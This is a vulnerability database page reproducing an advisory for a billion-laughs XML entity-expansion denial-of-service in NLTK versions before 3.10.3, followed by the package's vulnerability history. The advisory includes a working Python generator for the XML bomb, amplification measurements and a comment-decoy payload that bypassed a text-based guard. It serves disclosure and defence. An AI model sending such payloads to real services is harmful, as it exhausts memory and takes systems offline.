Hoch

NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

  • Veröffentlicht: 25.08.2026
  • Aktualisiert: 11.10.2026 15:17

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2):

  • nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML
  • nltk.internals.ElementWrapper — converts any given string to an Element
  • nltk.downloader — Package.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.


Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

levels input bytes expanded bytes factor
3 218 10,000 x45
4 274 100,000 x364
5 330 1,000,000 x3,030
6 386 (libexpat 2.7.1 cap trips) -

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

python
import xml.etree.ElementTree as ET
def bomb(levels):
    d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
    return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

python
evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec     -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) nltk < 3.10.3 3.10.3

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-776
Plattform
Python (PyPI)
Paket
nltk
Veröffentlicht
25.08.2026
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3748 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-97qj-x29f-37w7 - CC BY 4.0

Schwachstellenhistorie: nltk

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (52) im Archiv
Einträge insgesamt
52
Erste → letzte
08.2019 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 32
  • Mittel 13
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Schweregrad:
  1. Hoch · 7.0 CVE-2026-81726 <= 3.10.3 keine Korrektur
  2. Hoch CVE-2026-79674 < 3.10.3 3.10.3
  3. NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses dieser Eintrag
    Hoch CVE-2026-78681 < 3.10.3 3.10.3
  4. Hoch · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  5. Hoch · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
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